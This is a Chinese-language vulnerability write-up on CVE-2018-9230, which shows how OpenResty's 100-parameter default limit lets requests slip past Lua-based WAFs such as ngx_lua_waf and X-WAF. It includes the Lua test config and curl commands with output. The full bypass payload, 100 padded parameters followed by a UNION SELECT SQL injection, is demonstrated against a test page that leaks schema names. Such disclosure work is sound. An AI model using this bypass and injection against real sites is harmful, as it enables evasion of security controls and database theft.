

## 0x00 前言

OpenResty® 是一个基于 Nginx 与 Lua 的高性能 Web 平台，其内部集成了大量精良的 Lua 库、第三方模块以及大多数的依赖项。

OpenResty官网：<https://openresty.org>

漏洞编号：CVE-2018-9230

漏洞简介：OpenResty 通过ngx.req.get\_uri\_args、ngx.req.get\_post\_args函数进行uri参数获取，忽略参数溢出的情况，允许远程攻击者绕过基于OpenResty的安全防护，影响多款开源WAF。

影响版本：OpenResty全版本

###0x01 环境搭建

运行环境：CentOS6

源码版本：<https://openresty.org/download/openresty-1.13.6.1.tar.gz>（官网最新版）

## 0x02 漏洞详情

### A、uri参数获取

首先看一下官方 API 文档，获取一个 uri 有两个方法：ngx.req.get\_uri\_args、ngx.req.get\_post\_args，二者主要的区别是参数来源有区别，ngx.req.get\_uri\_args获取 uri 请求参数，ngx.req.get\_post\_args获取来自 post 请求内容。

测试用例：

```
`server { listen 80; server_name localhost;
```

```
location /test { content_by_lua_block { local arg = ngx.req.get_uri_args() for k,v in pairs(arg) do ngx.say("[GET ] key:", k, " v:", v) end ngx.req.read_body() local arg = ngx.req.get_post_args() for k,v in pairs(arg) do ngx.say("[POST] key:", k, " v:", v) end } } }
```

输出测试：

```
[root@localhost /]# curl '127.0.0.1/test?a=1&b=2' -d 'c=3&d=4'
[GET ] key:b v:2
[GET ] key:a v:1
[POST] key:d v:4
[POST] key:c v:3
```

### B、参数大小写

当提交同一参数id，根据接收参数的顺序进行排序，

可是当参数id，进行大小写变换，如变形为Id、iD、ID，则会被当做不同的参数。

```
[root@localhost /]# curl '127.0.0.1/test?id=1&id=2&id=3&id=4'
[GET ] key:id v:1234
[root@localhost /]# curl '127.0.0.1/test?id=1&Id=2&iD=3&ID=4'
[GET ] key:ID v:4
[GET ] key:iD v:3
[GET ] key:Id v:2
[GET ] key:id v:1
```

这里，介绍参数大小写，主要用于进一步构造和理解测试用例。

## C、参数溢出

如果当我们不段填充参数，会发生什么情况呢，为此我构造了一个方便用于展示的测试案例，a0-a9，10\*10,共100参数，然后第101个参数添加SQL注入 Payload，我们来看看会发生什么？

测试用例：

```
curl '127.0.0.1/test? a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&
a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&
a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&
a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&
a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&
a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&
a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&
a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&
a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&
a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9& id=1 union select 1,schema_name,3 from INFORMATION_SCHEMA.schemata'
```

输出结果：

```
[root@localhost ~]# curl '127.0.0.1/test?a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a1=1&
&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&
&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&
&a4=4&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&
&a6=6&a6=6&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&
&a8=8&a8=8&a8=8&a8=8&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&id=1 union select 1,schema_
name,3 from INFORMATION_SCHEMA.schemata' | sort -t ":" -k 2
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
           Dload  Upload   Total   Spent    Left   Speed
135    270      0   270    0         0  413k      0 --:--:-- --:--:-- --:--:--    0
[GET ] key:a0 v:0000000000
[GET ] key:a1 v:1111111111
[GET ] key:a2 v:2222222222
[GET ] key:a3 v:3333333333
[GET ] key:a4 v:4444444444
[GET ] key:a5 v:5555555555
[GET ] key:a6 v:6666666666
[GET ] key:a7 v:7777777777
[GET ] key:a8 v:8888888888
[GET ] key:a9 v:9999999999
[root@localhost ~]#
```

可以看到，使用ngx.req.get\_uri\_args获取uri 请求参数，只获取前100个参数，第101个参数并没有获取到。继续构造一个POST请求，来看一下：

[illegible]

使用`ngx.req.get_post_args` 获取的post请求内容，也同样只获取前100个参数。

检查这两个函数的文档，出于安全原因默认的限制是100，它们接受一个可选参数，最多可以告诉它应该解析多少GET / POST参数。但只要攻击者构造的参数超过限制数就可以轻易绕过基于OpenResty的安全防护，这就存在一个uri参数溢出的问题。

综上所述，通过`ngx.req.get_uri_args`、`ngx.req.get_post_args`获取uri参数，当提交的参数超过限制数（默认限制100或可选参数限制），uri参数溢出，无法获取到限制数以后的参数值，更无法对攻击者构造的参数进行有效安全检测，从而绕过基于OpenResty的WEB安全防护。

## 0x03 影响产品

基于OpenResty构造的WEB安全防护，大多数使用ngx.req.get\_uri\_args、ngx.req.get\_post\_args获取uri参数，即默认限制100，并没有考虑参数溢出的情况，攻击者可构造超过限制数值的参数，轻易的绕过安全防护。

基于OpenResty的开源WAF如：ngx\_lua\_waf、X-WAF、Openstar等，均受影响。

## A、 ngx\_lua\_waf

ngx\_lua\_waf是一个基于lua-nginx-module(openresty)的web应用防火墙

github源码：[https://github.com/loveshell/nginx\\_lua\\_waf](https://github.com/loveshell/nginx_lua_waf)

### 拦截效果图：

## 网站防火墙

**您的请求带有不合法参数，已被网站管理员设置拦截！**

可能原因：您提交的内容包含危险的攻击请求

如何解决：

- 1) 检查提交内容；
- 2) 如网站托管，请联系空间提供商；
- 3) 普通网站访客，请联系网站管理员；

[illegible]

**拦截效果图：**

您的IP为: 192.168.8.1  
欢迎在遵守白帽子道德准则的情况下进行安全测试。  
联系方式: <http://xsec.io>

Load URL

Split URL

Execute

http://192.168.8.147/test/sql.php?  
id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&  
id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&  
id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&  
id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&  
id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&  
id=1 union select 1,schema\_name,3 from INFORMATION\_SCHEMA.schemata

☐ Enable Post data

☐ Enable Referrer

```
1 admin
1 information_schema
1 mysql
1 performance_schema
1 test
```

```
SELECT * FROM admin WHERE id = 1 union select 1,schema name,3 from INFORMATION SCHEMA.schemata
```

关于我：一个网络安全爱好者，致力于分享原创高质量干货，欢迎关注我的个人微信公众号：Bypass--，浏览更多精彩文章。

